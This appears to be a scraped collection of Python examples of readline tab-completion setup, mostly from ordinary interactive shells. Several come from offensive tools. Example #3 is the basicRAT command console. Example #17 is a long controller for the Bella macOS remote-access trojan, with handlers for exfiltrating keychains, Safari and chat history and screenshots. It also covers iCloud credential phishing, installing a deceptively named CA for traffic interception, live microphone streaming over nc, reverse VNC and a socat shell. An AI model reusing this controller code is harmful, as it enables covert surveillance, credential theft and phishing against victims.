Example #1
0
def enableAutoComplete(matchList):
    """ Enables tab-autocomplete functionality in user input.

        Parameters:
            matchList(list<str>): List of strings that can be matched to.
    """
    readline.parse_and_bind("tab: complete")
    readline.set_completer_delims("")

    def complete(text, state):
        """ Credit Chris Siebenmann: https://bit.ly/2E0pNDB"""
        # generate candidate completion list
        if text == "":
            matches = matchList
        else:
            matches = [
                x for x in matchList if x.lower().startswith(text.lower())
            ]

        # return current completion match
        if state > len(matches):
            return None
        else:
            return matches[state]

    readline.set_completer(complete)
Example #2
0
def enable_history():
    # tab completion
    readline.parse_and_bind('tab: complete')
    # history file
    histfile = os.path.join(os.environ['HOME'], '.pythonhistory')
    try:
        readline.read_history_file(histfile)
    except IOError:
        pass
    atexit.register(readline.write_history_file, histfile)
    del os, histfile, readline, rlcompleter
Example #3
0
def main():
    parser = get_parser()
    args   = vars(parser.parse_args())
    port   = args['port']
    client = None
    
    print(BANNER)
    
    # Start Server
    server = Server(port)
    server.setDaemon(True)
    server.start()
    print("basicRAT Server Listening for Connections on port {}.".format(port))
    
    # Server Side Commands
    server_commands = {
        'client'  : server.select_client,
        'clients' : server.list_clients,
        'goodbye' : server.goodbye_server,
        'help'    : server.print_help,
        'kill'    : server.kill_client,
        'quit'    : server.quit_server,
        'selfdestruct': server.selfdestruct_client,
    }
    
    def completer(text, state):
        commands = CLIENT_COMMANDS + [k for k, _ in server_commands.items()]
        options  = [i for i in commands if i.startswith(text)]
        return options[state]+' ' if state<len(options) else None  ### DEBUG

    # Turn Tab Completion On
    gnureadline.parse_and_bind('tab: complete')
    gnureadline.set_completer(completer)

    while True:
        ccid = server.current_client.uid if server.current_client else '?'
        prompt = input("\n[{}] basicRAT> ".format(ccid)).rstrip()
        # Allow Noop
        if not prompt:
            continue
        # Seperate Prompt Into Command and Action
        cmd, _, action = prompt.partition(' ')
        if cmd in server_commands:
            server_commands[cmd](action)
        elif cmd in CLIENT_COMMANDS:
            if ccid == '?':
                print("Error: No Client Selected.")
                continue
            print("Running {}...".format(cmd))
            server.send_client(prompt, server.current_client)
            server.recv_client(server.current_client)
        else:
            print("Invalid Command, Type 'help' for More Commands.")
Example #4
0
    def init_completer(self):
        try:
            import rlcompleter
            readline.parse_and_bind("tab: complete")

            readline.set_completer_delims("")

            readline.write_history_file(os.path.join(dxpy.config.get_user_conf_dir(), '.dx_history'))
            readline.clear_history()
            readline.set_completer()
        except:
            pass
Example #5
0
    def repl(self):
        readline.parse_and_bind('tab: complete')
        readline.set_completer(self.complete)

        self.greet()
        a = ShowUrlsCommand()
        a.run(self.context, None, None, None)

        while True:
            try:
                line = raw_input(self.__get_prompt()).strip()
            except EOFError:
                print
                return
            except KeyboardInterrupt:
                print
                continue

            self.process(line)
Example #6
0
    def repl(self):
        readline.parse_and_bind('tab: complete')
        readline.set_completer(self.complete)

        self.greet()
        a = ShowUrlsCommand()
        a.run(self.context, None, None, None)

        while True:
            try:
                line = raw_input(self.__get_prompt()).strip()
            except EOFError:
                print
                return
            except KeyboardInterrupt:
                print
                continue

            self.process(line)
Example #7
0
    def setup(self):
        """ Initialization of third-party libraries

        Setting interpreter history.
        Setting appropriate completer function.

        :return:
        """
        if not os.path.exists(self.history_file):
            open(self.history_file, 'a+').close()

        readline.read_history_file(self.history_file)
        readline.set_history_length(self.history_length)
        atexit.register(readline.write_history_file, self.history_file)

        readline.parse_and_bind('set enable-keypad on')

        readline.set_completer(self.complete)
        readline.set_completer_delims(' \t\n;')
        readline.parse_and_bind("tab: complete")
Example #8
0
    def setup(self):
        """ Initialization of third-party libraries

        Setting interpreter history.
        Setting appropriate completer function.

        :return:
        """
        if not os.path.exists(self.history_file):
            open(self.history_file, 'a+').close()

        readline.read_history_file(self.history_file)
        readline.set_history_length(self.history_length)
        atexit.register(readline.write_history_file, self.history_file)

        readline.parse_and_bind('set enable-keypad on')

        readline.set_completer(self.complete)
        readline.set_completer_delims(' \t\n;')
        readline.parse_and_bind("tab: complete")
Example #9
0
    def loop(self):
        log.debug('cli loop')
        completer = readline.get_completer()
        readline.set_completer(self.complete)
        readline.parse_and_bind(self.term.complete_key + ": complete")

        try:
            while not self.is_closed:
                try:
                    line = input(self.term.prompt)
                except EOFError:
                    self.close()
                    self.service.close()
                else:
                    if self.onecmd(line):
                        self.close()
                        self.service.close()
        except:
            log.exception('cli loop error')
        finally:
            readline.set_completer(completer)
            log.debug('finished cli loop -> closed: %s', self.is_closed)
Example #10
0
    def repl(self):
        readline.parse_and_bind('tab: complete')
        readline.set_completer(self.complete)

        self.greet()
        a = ShowUrlsCommand()
        try:
            a.run(self.context, None, None, None)
        except:
            output_msg(_('Cannot show GUI urls'))

        while True:
            try:
                line = six.moves.input(self.__get_prompt()).strip()
            except EOFError:
                print()
                return
            except KeyboardInterrupt:
                print()
                output_msg(_('User terminated command'))
                continue

            self.process(line)
Example #11
0
def setup_fzf():
    # Press Ctrl-F to search an item within iterable previous result.
    # Uses fzf for fast interactive search.

    from pyfzf import FzfPrompt
    _fzf = FzfPrompt()

    def my_completer(text, state):
        # Because the result does not start with `text`,
        # readline thinks the completion has failed and calls
        # my_complete again with increased `state` value.
        # Returning None signals that the completion is done.
        if state > 0:
            return None

        match = _fzf.prompt(map(repr, _))
        if len(match) > 0:
            return text + match[0]
        else:
            return None

    readline.parse_and_bind('"\C-f": complete')
    readline.set_completer(my_completer)
Example #12
0
def setup_fzf():
    # Press Ctrl-F to search an item within iterable previous result.
    # Uses fzf for fast interactive search.

    from pyfzf import FzfPrompt
    _fzf = FzfPrompt()

    def my_completer(text, state):
        # Because the result does not start with `text`,
        # readline thinks the completion has failed and calls
        # my_complete again with increased `state` value.
        # Returning None signals that the completion is done.
        if state > 0:
            return None

        match = _fzf.prompt(map(repr, _))
        if len(match) > 0:
            return text + match[0]
        else:
            return None

    readline.parse_and_bind('"\C-f": complete')
    readline.set_completer(my_completer)
Example #13
0
        def __init__(self):
            if HAVE_READLINE:
                readline.parse_and_bind("tab: complete")
                # force completor to run on first tab press
                readline.parse_and_bind("set show-all-if-unmodified on")
                readline.parse_and_bind("set show-all-if-ambiguous on")
                # Set our custom completer
                readline.set_completer(self.completer)

                try:
                    readline.read_history_file(HIST_FILE)
                except IOError:
                    pass

            self._idle = threading.Event()
            self._cond = threading.Condition()
            self._response = None
            self._completor_locals = []

            super(REPLApplication, self).__init__(self._process_input)
Example #14
0
        def __init__(self):
            if HAVE_READLINE:
                readline.parse_and_bind("tab: complete")
                # force completor to run on first tab press
                readline.parse_and_bind("set show-all-if-unmodified on")
                readline.parse_and_bind("set show-all-if-ambiguous on")
                # Set our custom completer
                readline.set_completer(self._completer)

                try:
                    readline.read_history_file(HIST_FILE)
                except IOError:
                    pass

            self._script = None
            self._seqno = 0
            self._ready = threading.Event()
            self._response_cond = threading.Condition()
            self._response_data = None
            self._completor_locals = []

            super(REPLApplication, self).__init__(self._process_input)
Example #15
0
 def init_readline(self):
     readline.parse_and_bind('tab: complete')
     readline.set_completer(complete)
     readline.set_completer_delims(' \t')
     self.init_history_file()
     readline.read_history_file(self.history)
Example #16
0
        return options[state]
    else:
        return None


def _quit():
    pc.printout("Goodbye!\n", pc.RED)
    sys.exit(0)


signal.signal(signal.SIGINT, signal_handler)
if is_windows:
    pyreadline.Readline().parse_and_bind("tab: complete")
    pyreadline.Readline().set_completer(completer)
else:
    gnureadline.parse_and_bind("tab: complete")
    gnureadline.set_completer(completer)

printlogo()

parser = argparse.ArgumentParser(
    description=
    'Osintgram is a OSINT tool on Instagram. It offers an interactive shell '
    'to perform analysis on Instagram account of any users by its nickname ')
parser.add_argument(
    'id',
    type=str,  # var = id
    help='username')
parser.add_argument('-j',
                    '--json',
                    help='save commands output as JSON file',
Example #17
0
def main():
    serverisRoot = False
    ctrlC = False
    active = False
    first_run = True
    logpath = 'Logs/'
    helperpath = ''
    client_log_path = ''
    client_name = ''
    clients = []
    connections = []
    subprocess_list = []
    global file_list
    file_list = commands
    computername = ''
    activate = 0
    columns = row_set()
    if not os.path.isfile("%sserver.key" % helperpath):
        print '\033[91mGENERATING CERTIFICATES TO ENCRYPT THE SOCKET.\033[0m\n\n'
        os.system(
            'openssl req -x509 -nodes -days 365 -subj "/C=US/ST=Bella/L=Bella/O=Bella/CN=bella" -newkey rsa:2048 -keyout %sserver.key -out %sserver.crt'
            % (helperpath, helperpath))
    clear()
    port = 4545
    interactive_shell_port = 3818
    print '%s%s%s%s' % (purple, bold,
                        'Listening for clients over port [%s]'.center(
                            columns, ' ') % port, endC)

    sys.stdout.write(blue + bold)
    for i in progressbar(range(48), '\t     ', columns - 28):
        time.sleep(0.05)
    sys.stdout.write(endC)
    colors = [blue, green, yellow]
    random.shuffle(colors)

    binder = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    binder.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    binder.bind(('', port))
    binder.listen(128)  #max number of connections macOS can handle

    while True:
        columns = row_set()
        try:
            #c.settimeout(4)
            try:
                #wrap before we accept
                #to generate certs: openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout server.key -out server.crt
                sock, accept = ssl.wrap_socket(
                    binder,
                    ssl_version=ssl.PROTOCOL_TLSv1,
                    cert_reqs=ssl.CERT_NONE,
                    server_side=True,
                    keyfile='%sserver.key' % helperpath,
                    certfile='%sserver.crt' % helperpath).accept()
            except socket.timeout:
                continue
            except IOError as e:
                if e.errno == 2:
                    print 'You must generate SSL certificates to encrypt the socket.'
                    os.remove(
                        '%sserver.key' % helperpath
                    )  #openssl will create this empty, so remove junk
                    exit()
                print e
                raise e

            if (accept):
                sock.settimeout(None)
                connections += [sock]
                clients += [accept]
            clear()  #see how many more we can accept, clear
            print "%s%s%s%s\n" % (purple, bold, 'Found clients!'.center(
                columns, ' '), endC)
            if len(clients) > 0:
                dater = []
                colorIndex = 0
                for j in range(0, len(clients)):
                    if colorIndex == len(colors):
                        colorIndex = 0
                    try:
                        send_msg(
                            connections[j], 'get_client_info'
                        )  #we do this because this section of this program doesnt understand the EOF construct / tuple serialization
                        message = recv_msg(connections[j])
                        dater.append(message)
                    except socket.error as e:
                        connections = []
                        clients = []
                        break
                    print '%s%s%s%s' % (colors[colorIndex], bold,
                                        ('[%s] %s, %s' %
                                         ((j + 1), dater[j][0], clients[j][0])
                                         ).center(columns, ' '), endC)
                    colorIndex += 1
                    print yellow + ("_" *
                                    (columns - 30)).center(columns, ' ') + endC

        except KeyboardInterrupt:
            clear()
            if len(clients) > 0:
                print "%s%s%s%s\n" % (
                    purple, bold, 'Enter ID to initiate connection:'.center(
                        columns, ' '), endC)
                colorIndex = 0
                for j in range(0, len(clients)):
                    if colorIndex == len(colors):
                        colorIndex = 0
                    print '%s%s%s%s' % (colors[colorIndex], bold,
                                        ('[%s] %s, %s' %
                                         ((j + 1), dater[j][0], clients[j][0])
                                         ).center(columns, ' '), endC)
                    colorIndex += 1
                    print yellow + ("_" *
                                    (columns - 30)).center(columns, ' ') + endC
            while True:
                try:
                    activate = input()
                    try:
                        clients[activate - 1][0]
                    except IndexError:
                        print "Client [%s] does not exist. Try again." % activate
                        continue
                    break
                except SyntaxError, e:
                    print "Enter a client number."
                    continue

            clear()
            if activate == 0:
                subprocess_cleanup(subprocess_list)
                print 'Exiting...'
                exit()
            activate -= 1  #so array doesnt get thrown off
            ipadrr = clients[activate][0]
            active = True
            for i, x in enumerate(clients):
                if i != activate:
                    #print 'Rejecting Connection from [%s, %s]' % clients[i]
                    connections[i].close()
            print '%sAccepting%s Connection from [%s%s%s] at [%s%s%s]' % (
                yellow, endC, yellow, dater[i][0].split("->")[0], endC, yellow,
                clients[i][0], endC)
            send_msg(connections[activate], 'initializeSocket')
            first_run = True
            now = datetime.datetime.now()

        while active:
            try:
                columns = row_set()
                if ctrlC:
                    if process_running:
                        send_msg(
                            connections[activate], 'sigint9kill'
                        )  #this will kill their blocking program, reset our data
                        while 1:
                            x = recv_msg(connections[activate])
                            if x:
                                if x[0] == 'terminated':
                                    break
                            continue
                    data = "\n"
                    ctrlC = False
                else:
                    (data, isFinished) = recv_msg(connections[activate])
                    if not isFinished:
                        print data,  #print it and continue
                        string_log(data, client_log_path, client_name)
                        continue  #just go back to top and keep receiving
                nextcmd = ''
                process_running = False

                if type(data) == type(None):
                    active = False
                    print "\n%s%sLost connection to server.%s" % (red, bold,
                                                                  endC)

                if first_run == True:
                    is_server_rooted = False
                    if data == 'payload_request_SBJ129':
                        print 'Payloads requested. Sending payloads...'
                        with open('Payloads/payloads.txt', 'rb') as content:
                            payloads = content.read()
                        nextcmd = 'payload_response_SBJ29:::%s' % payloads
                        workingdir, client_name, computername, client_log_path = (
                            '', ) * 4

                    elif not data.splitlines()[0].startswith(
                            "bareNeccesities"):
                        basicInfo = data.splitlines()
                        if basicInfo[0] == 'ROOTED':
                            is_server_rooted = True
                            basicInfo.remove('ROOTED')
                        computername = basicInfo[0]  #hostname via scutil
                        client_name = basicInfo[1]  #username via whoami
                        workingdir = basicInfo[2]  #cwd via pwd
                        last_login = basicInfo[3]  #last login read via DB
                        uptime = basicInfo[4]  #bella uptime
                        client_log_path = "%s%s/%s/" % (logpath, computername,
                                                        client_name)
                        if not os.path.exists(client_log_path):
                            os.makedirs(client_log_path)
                        first_run = False
                        print 'Last Connected: %s -- %s' % (last_login, uptime)
                    else:
                        computername = data.splitlines()[
                            1]  #hostname via scutil
                        client_name = data.splitlines()[
                            2]  #username via whoami
                        workingdir = data.splitlines()[3]  #cwd via pwd
                        client_log_path = "%s%s/%s/" % (logpath, computername,
                                                        client_name)
                        if not os.path.exists(client_log_path):
                            os.makedirs(client_log_path)
                        first_run = False

                elif data.startswith('cwdcwd'):
                    sdoof = data.splitlines()
                    workingdir = sdoof[0][6:]
                    file_list = map(str.lower,
                                    sdoof[1:]) + sdoof[1:] + commands
                    string_log(workingdir + '\n', client_log_path, client_name)

                elif data.startswith('downloader'):
                    (fileContent, file_name) = pickle.loads(data[10:])
                    downloader(fileContent, file_name, client_log_path,
                               client_name)

                elif data.startswith("mitmReady"):
                    os.system("osascript >/dev/null <<EOF\n\
                            tell application \"Terminal\"\n\
                            do script \"mitmproxy -p 8081 --cadir %s\"\n\
                            end tell\n\
                            EOF" % helperpath)
                    print 'MITM-ing. RUN mitm_kill AFTER YOU CLOSE MITMPROXY OR THE CLIENT\'S INTERNET WILL NOT WORK.'

                elif data.startswith('keychain_download'):
                    keychains = pickle.loads(data[17:])
                    for x in keychains:
                        (keychainName, keychainData) = pickle.loads(
                            x)  #[keychainName, keychainData]
                        downloader(keychainData, keychainName, client_log_path,
                                   client_name, 'Keychains')

                elif data.startswith('interactive_shell_init'):
                    while socat_PID.poll() == None:  #it is alive
                        time.sleep(1)  #just wait a bit, check again.
                    print '%sInteractive shell closed. Welcome back to Bella.' % bluePlus

                elif data.startswith('appleIDPhishHelp'):
                    content = pickle.loads(data[16:])
                    if len(content[0]) > 0:
                        print "%sFound the following iCloud accounts.\n%s\nWhich would you like to use to phish current GUI user [%s]?" % (
                            bluePlus, content[0], content[1])
                        appleID = content[0].split(' Apple ID: [')[1][:-2]
                    else:
                        print "%sCouldn't find any iCloud accounts.\nEnter one manually to phish current GUI user [%s]" % (
                            bluePlus, content[1])
                        appleID = ''
                    username = raw_input("Enter iCloud Account: ") or appleID
                    if username == '':
                        print 'No username specified, cancelling Phish'
                        nextcmd = ''
                    else:
                        print "Phishing [%s%s%s]" % (blue, username, endC)
                        nextcmd = "iCloudPhishFinal%s:%s" % (username,
                                                             content[1])

                elif data.startswith('screenCapture'):
                    screen = data[13:]
                    if screen == "error":
                        print "%sError capturing screenshot!" % redX
                    else:
                        fancyTime = time.strftime("_%m-%d_%H_%M_%S")
                        os.system("mkdir -p %sScreenshots" % client_log_path)
                        with open(
                                "%sScreenshots/screenShot%s.png" %
                            (client_log_path, fancyTime), "w") as shot:
                            shot.write(base64.b64decode(screen))
                        time.sleep(1)
                        print "%sGot screenshot [%s]" % (greenCheck, fancyTime)

                elif data.startswith('C5EBDE1F'):
                    deserialize = pickle.loads(data[8:])
                    for x in deserialize:
                        (
                            name, data
                        ) = x  #name will be the user, which we're going to want on the path
                        downloader(
                            bz2.decompress(data), 'ChatHistory_%s.db' %
                            time.strftime("%m-%d_%H_%M_%S"), client_log_path,
                            client_name, 'Chat/%s' % name)
                    print "%sGot macOS Chat History" % greenCheck

                elif data.startswith('6E87CF0B'):
                    deserialize = pickle.loads(data[8:])
                    for x in deserialize:
                        (
                            name, data
                        ) = x  #name will be the user, which we're going to want on the path
                        downloader(
                            bz2.decompress(data),
                            'history_%s.txt' % time.strftime("%m-%d_%H_%M_%S"),
                            client_log_path, client_name, 'Safari/%s' % name)
                    print "%sGot Safari History" % greenCheck

                elif data.startswith('lserlser'):
                    (rawfile_list, filePrint) = pickle.loads(data[8:])
                    widths = [max(map(len, col)) for col in zip(*filePrint)]
                    for fileItem in filePrint:
                        line = "  ".join(
                            (val.ljust(width)
                             for val, width in zip(fileItem, widths)
                             ))  #does pretty print
                        print line
                        string_log(line, client_log_path, client_name)

                elif data.startswith('updated_client_name'):
                    old_computer_name = computername
                    computername = data.split(":::")[1]
                    print 'Moving [%s%s] to [%s%s]' % (
                        logpath, old_computer_name, logpath, computername)
                    os.rename("%s%s" % (logpath, old_computer_name),
                              "%s%s" % (logpath, computername))
                    client_log_path = "%s%s/%s/" % (logpath, computername,
                                                    client_name)
                    print data.split(":::")[2],
                    string_log(data, client_log_path, client_name)

                else:
                    if len(data) == 0:
                        sys.stdout.write('')
                    else:
                        print data,
                    string_log(data, client_log_path, client_name)
                """Anything above this comment is what the server is sending us."""
                #################################################################
                """Anything below this comment is what we are sending the server."""

                if data.startswith('Exit') == True:
                    active = False
                    subprocess_cleanup(subprocess_list)
                    print "\n%s%sGoodbye.%s" % (blue, bold, endC)
                    exit()
                else:
                    if is_server_rooted:
                        client_name_formatted = "%s%s@%s%s" % (
                            red, client_name, computername, endC)
                    else:
                        client_name_formatted = "%s%s@%s%s" % (
                            green, client_name, computername, endC)

                    if workingdir.startswith("/Users/" + client_name.lower(
                    )) or workingdir.startswith("/Users/" + client_name):
                        pathlen = 7 + len(
                            client_name)  #where 7 is our length of /Users/
                        workingdir = "~" + workingdir[
                            pathlen:]  #change working dir to ~[/users/name:restofpath] (in that range)

                    workingdirFormatted = blue + workingdir + endC
                    if macOS_rl:
                        if platform.system() == 'Linux':
                            readline.parse_and_bind("tab: complete")
                            readline.set_completer(tab_parser)
                        else:
                            readline.parse_and_bind("bind ^I rl_complete")
                            readline.set_completer(tab_parser)
                    else:
                        gnureadline.parse_and_bind("tab: complete")
                        gnureadline.set_completer(tab_parser)

                    if nextcmd == "":
                        try:
                            nextcmd = raw_input(
                                "[%s]-[%s] " %
                                (client_name_formatted, workingdirFormatted))
                            string_log(
                                "[%s]-[%s] %s" %
                                (client_name, workingdirFormatted, nextcmd),
                                client_log_path, client_name)
                        except EOFError, e:
                            nextcmd = "exit"
                    else:
                        pass

                    if nextcmd == "removeserver_yes":
                        verify = raw_input(
                            "Are you sure you want to delete [%s]?\n🦑  This cannot be un-done. (Y/n): "
                            % computername)
                        if verify.lower() == "y":
                            print "%s%sRemote server is being removed and permanently deleted.%s" % (
                                red, bold, endC)
                            nextcmd = "removeserver_yes"
                            print "%s%sDestruct routine successfully sent. Server is destroyed.%s" % (
                                red, bold, endC)
                        else:
                            print "Not deleting server."
                            nextcmd = ""

                    if nextcmd == "interactive_shell":
                        if platform.system() == 'Linux':
                            print 'This function is not yet available for Linux systems.'
                        else:
                            print "%sStarting interactive shell over port [%s].\n%sPress CTRL-D *TWICE* to close.\n%sPre-built Bella functions will not work in this shell.\n%sUse this shell to run commands such as sudo, nano, telnet, ftp, etc." % (
                                bluePlus, interactive_shell_port, bluePlus,
                                yellow_star, bluePlus)
                            socat_PID = subprocess.Popen(
                                "socat -s `tty`,raw,echo=0 tcp-listen:%s" %
                                interactive_shell_port,
                                shell=True)  #start listener
                            time.sleep(.5)
                            if socat_PID.poll():
                                print "%sYou need to install 'socat' on your Control Center to use this feature.\n" % redX
                                nextcmd = ""
                            else:
                                nextcmd = "interactive_shell:::%s" % interactive_shell_port

                    if nextcmd == "cls":
                        file_list = commands
                        nextcmd = ""

                    if nextcmd == ("mitm_start"):
                        try:
                            import mitmproxy
                        except ImportError:
                            print 'You need to install the python library "mitmproxy" to use this function.'
                            nextcmd = ''
                        if not os.path.isfile("%smitm.crt" % helperpath):
                            print "%sNo local Certificate Authority found.\nThis is necessary to decrypt TLS/SSL traffic.\nFollow the steps below to generate the certificates.%s\n\n" % (
                                red, endC)
                            os.system("openssl genrsa -out mitm.key 2048")
                            print "%s\n\nYou can put any information here. Common Name is what will show up in the Keychain, so you may want to make this a believable name (IE 'Apple Security').%s\n\n" % (
                                red, endC)
                            os.system(
                                "openssl req -new -x509 -key mitm.key -out mitm.crt"
                            )
                            os.system(
                                "cat mitm.key mitm.crt > mitmproxy-ca.pem")
                            os.remove("mitm.key")
                            #mitm.crt is the cert we will install on remote client.
                            #mitmproxy-ca.pem is for mitmproxy
                            print '%sGenerated all certs. Sending over to client.%s' % (
                                green, endC)
                        with open('%smitm.crt' % helperpath, 'r') as content:
                            cert = content.read()
                        print 'Found the following certificate:'
                        for x in subprocess.check_output(
                                "keytool -printcert -file %smitm.crt" %
                                helperpath,
                                shell=True).splitlines():
                            if 'Issuer: ' in x:
                                print "%s%s%s" % (lightBlue, x, endC)
                        interface = raw_input(
                            "🚀  Specify an interface to MITM [Press enter for Wi-Fi]: "
                        ).replace("[", "").replace("]", "") or "Wi-Fi"
                        nextcmd = "mitm_start:::%s:::%s" % (interface, cert)

                    if nextcmd == ("mitm_kill"):
                        for x in subprocess.check_output(
                                "keytool -printcert -file %smitm.crt" %
                                helperpath,
                                shell=True).splitlines():
                            if 'SHA1: ' in x:
                                certsha = ''.join(x.split(':')[1:]).replace(
                                    ' ', '')
                                break
                            certsha = False
                        if not certsha:
                            print 'Could not find certificate to delete. You may see some warnings.'
                        interface = raw_input(
                            "🎯  Specify an interface to stop MITM [Press enter for Wi-Fi]: "
                        ).replace("[", "").replace("]", "") or "Wi-Fi"
                        nextcmd = "mitm_kill:::%s:::%s" % (interface, certsha)

                    if nextcmd == "clear":
                        clear()
                        nextcmd = "printf ''"

                    if nextcmd == "restart":
                        nextcmd = "osascript -e 'tell application \"System Events\" to restart'"

                    if nextcmd == "set_client_name":
                        nextcmd += ":::" + (
                            raw_input("🐷  Please specify a client name: ")
                            or computername)

                    if nextcmd == "update_server":
                        if nextcmd == "update_server":  #no stdin
                            local_file = raw_input(
                                "📡  Enter full path to new server on local machine: "
                            )
                        else:
                            local_file = nextcmd[14:]  #take path as stdin
                        local_file = subprocess.check_output(
                            'printf %s' % local_file, shell=True
                        )  #get the un-escaped version for python recognition
                        if os.path.isfile(local_file):
                            with open(local_file, 'rb') as content:
                                new_server = content.read()
                            nextcmd = "update_server%s" % pickle.dumps(
                                new_server)
                        else:
                            print "Could not find [%s]!" % local_file
                            nextcmd = ''

                    if nextcmd == "disableKM":
                        print "[1] Keyboard | [2] Mouse"
                        device = raw_input(
                            "Which device would you like to disable? ")
                        if device == "1":
                            nextcmd = "disableKMkeyboard"
                        elif device == "2":
                            nextcmd = "disableKMmouse"
                        else:
                            nextcmd = "printf 'You must specify a device [1] || [2].\n'"

                    if nextcmd == "enableKM":
                        print "[1] Keyboard | [2] Mouse"
                        device = raw_input(
                            "Which device would you like to enable? [BUGGY, MAY CAUSE KERNEL PANIC] "
                        )
                        if device == "1":
                            nextcmd = "enableKMkeyboard"
                        elif device == "2":
                            nextcmd = "enableKMmouse"
                        else:
                            nextcmd = "printf 'You must specify a device [1] || [2].\n'"

                    if nextcmd == "shutdown":
                        nextcmd = "osascript -e 'tell application \"System Events\" to shut down'"

                    if nextcmd == "mike_stream":
                        if platform.system() == 'Linux':
                            print '%sThere is not yet Linux support for a microphone stream.' % redX
                            nextcmd = ''
                        else:
                            try:
                                if not os.path.exists(client_log_path +
                                                      'Microphone'):
                                    os.makedirs(client_log_path + 'Microphone')
                                subprocess.check_output(
                                    "osascript >/dev/null <<EOF\n\
                                tell application \"Terminal\"\n\
                                ignoring application responses\n\
                                do script \"nc -l 2897 | tee '%s%s%s' 2>&1 | %s/Payloads/speakerpipe\"\n\
                                end ignoring\n\
                                end tell\n\
                                EOF" % (client_log_path, 'Microphone/',
                                        time.strftime("%b %d %Y %I:%M:%S %p"),
                                        os.getcwd()),
                                    shell=True
                                )  #tee the output for later storage, and also do an immediate stream
                            except subprocess.CalledProcessError as e:
                                pass  #this is expected 'execution error: Can't get end'
                            except Exception as e:
                                print 'Error launching listener.\n[%s]' % e
                                nextcmd = ''

                    if nextcmd == "shutdown_server":
                        nextcmd = ""
                        if raw_input(
                                "Are you sure you want to shutdown the server?\nThis will unload all LaunchAgents: (Y/n) "
                        ).lower() == "y":
                            nextcmd = "shutdownserver_yes"

                    if nextcmd == "vnc":
                        if platform.system() == 'Linux':
                            print '%sThere is not yet Linux support for a reverse VNC connection.' % redX
                            #"wget https://www.realvnc.com/download/file/vnc.files/VNC-6.0.2-Linux-x64-ANY.tar.gz"
                            #tar -zxvf VNCfiles
                            #mv VNCfiles Payloads/
                            #fork process
                            nextcmd = ''
                        else:
                            vnc_port = 5500
                            nextcmd = "vnc_start:::%s" % vnc_port
                            proc = subprocess.Popen(
                                "/Applications/VNC\ Viewer.app/Contents/MacOS/vncviewer -listen %s"
                                % vnc_port,
                                shell=True)
                            subprocess_list.append(proc.pid)

                    if nextcmd == "volume":
                        vol_level = str(
                            raw_input("Set volume to? (0[low]-7[high]) "))
                        nextcmd = "osascript -e \"Set Volume \"" + vol_level + ""

                    if nextcmd == "sysinfo":
                        nextcmd = 'scutil --get LocalHostName; whoami; pwd; echo "----------"; sw_vers; ioreg -l | awk \'/IOPlatformSerialNumber/ { print "SerialNumber: \t" $4;}\'; echo "----------";sysctl -n machdep.cpu.brand_string; hostinfo | grep memory; df -h / | grep dev | awk \'{ printf $3}\'; printf "/"; df -h / | grep dev | awk \'{ printf $2 }\'; echo " HDD space used"; echo "----------"; printf "Local IP: "; ipconfig getifaddr en0; ipconfig getifaddr en1; printf "Current Window: "; python -c \'from AppKit import NSWorkspace; print NSWorkspace.sharedWorkspace().frontmostApplication().localizedName()\'; echo "----------"'

                    if nextcmd.startswith("upload"):  #uploads to CWD.
                        if nextcmd == "upload":
                            local_file = raw_input(
                                "🌈  Enter full path to file on local machine: "
                            )
                        else:
                            local_file = nextcmd[7:]  #take path as stdin
                        local_file = subprocess.check_output(
                            'printf %s' % local_file, shell=True
                        )  #get the un-escaped version for python recognition
                        if os.path.isfile(local_file):
                            with open(local_file, 'rb') as content:
                                sendFile = content.read()
                                file_name = content.name.split('/')[
                                    -1]  #get absolute file name (not path)
                            file_name = raw_input(
                                "Uploading file as [%s]. Enter new name if desired: "
                                % file_name) or file_name
                            nextcmd = "uploader%s" % pickle.dumps(
                                (sendFile, file_name))
                        else:
                            print "Could not find [%s]!" % local_file
                            nextcmd = ''

                    if nextcmd.startswith("download"):  #uploads to CWD.
                        if nextcmd == "download":
                            remote_file = raw_input(
                                "🐸  Enter path to file on remote machine: ")
                        else:
                            remote_file = nextcmd[9:]  #take path as stdin
                        nextcmd = 'download' + remote_file

                    if len(nextcmd) == 0:
                        nextcmd = "printf ''"

                    send_msg(connections[activate],
                             nextcmd)  #bring home the bacon
                    process_running = True
Example #18
0
                  baudrate=baud,
                  parity=PARITY_NONE,
                  stopbits=1,
                  bytesize=8,
                  timeout=1)

    fh = port.fileno()

    # A struct with configuration for serial port.
    # serial_rs485 = struct.pack('hhhhhhhh', 1, 0, 0, 0, 0, 0, 0, 0)
    # fcntl.ioctl(fh, 0x542F, serial_rs485)

    return port


readline.parse_and_bind('tab: complete')
readline.parse_and_bind('set editing-mode emacs')

cmds = [
    ["sendregs", 3, "<register> <data>: Send <data> to <register(s)>"],
    ["readregs", 3, "<register> <len>: Read data from <register>"],
    [
        "sendreg", 3,
        "<register> [0x]<2bytesasWord>: Send single byte to <register>"
    ],
    ['bread', 0, "Reads any queued bytes from serial device, timeout 1 sec"],
    ['bcheck', 0, "Displays how many chars are waiting in serial buffer"],
    ["help", 0, ": This help"],
    ["stop", 0, ": Exit Program"],
]
Example #19
0
def console():
    # Configuring the commpleter
    comp = Completer(['load', 'set', 'show', 'run', 'back', 'warriors', 'quit', 'help'])
    gnureadline.set_completer_delims(' \t\n;')
    gnureadline.parse_and_bind("tab: complete")
    gnureadline.set_completer(comp.complete)

    print (banners.get_banner())
    cprint(' [+]', 'yellow', end='')
    print (' Starting the console...')
    cprint(' [*]', 'green', end='')
    print (' Console ready!\n')

    session = None

    while True:
        if session is None:
            # With termcolor not work colors
            # user_input = input(
            #     colored('iBombShell> ', 'green', attrs=['bold'])).split()

            # /* Definitions available for use by readline clients. */
            # define RL_PROMPT_START_IGNORE  '\001'
            # define RL_PROMPT_END_IGNORE    '\002'
            user_input = input('\001\033[1;32m\002iBombShell> \001\033[0m\002').split()
        else:
            # user_input = input(
            #     "iBombShell["
            #     + colored(session.header(), 'green', attrs=['bold'])
            #     + "]> ").split()

            user_input = input('iBombShell[' +
                               '\001\033[1;32m\002' +
                               session.header() +
                               '\001\033[0m\002' +
                               ']> ').split()

        if user_input == []:
            continue

        elif user_input[0] in CLEAR_COMMANDS:
            os.system('cls' if os.name=='nt' else 'clear')

        elif user_input[0] == 'back':
            session = None

        elif user_input[0] == 'warriors':
            i = 0
            for p in Path("/tmp/").glob("ibs-*"):
                i += 1
                cprint(str(p)[9:], 'yellow')
            
            if i == 0:
                cprint('[!] Warriors haven\'t been found...', 'red')

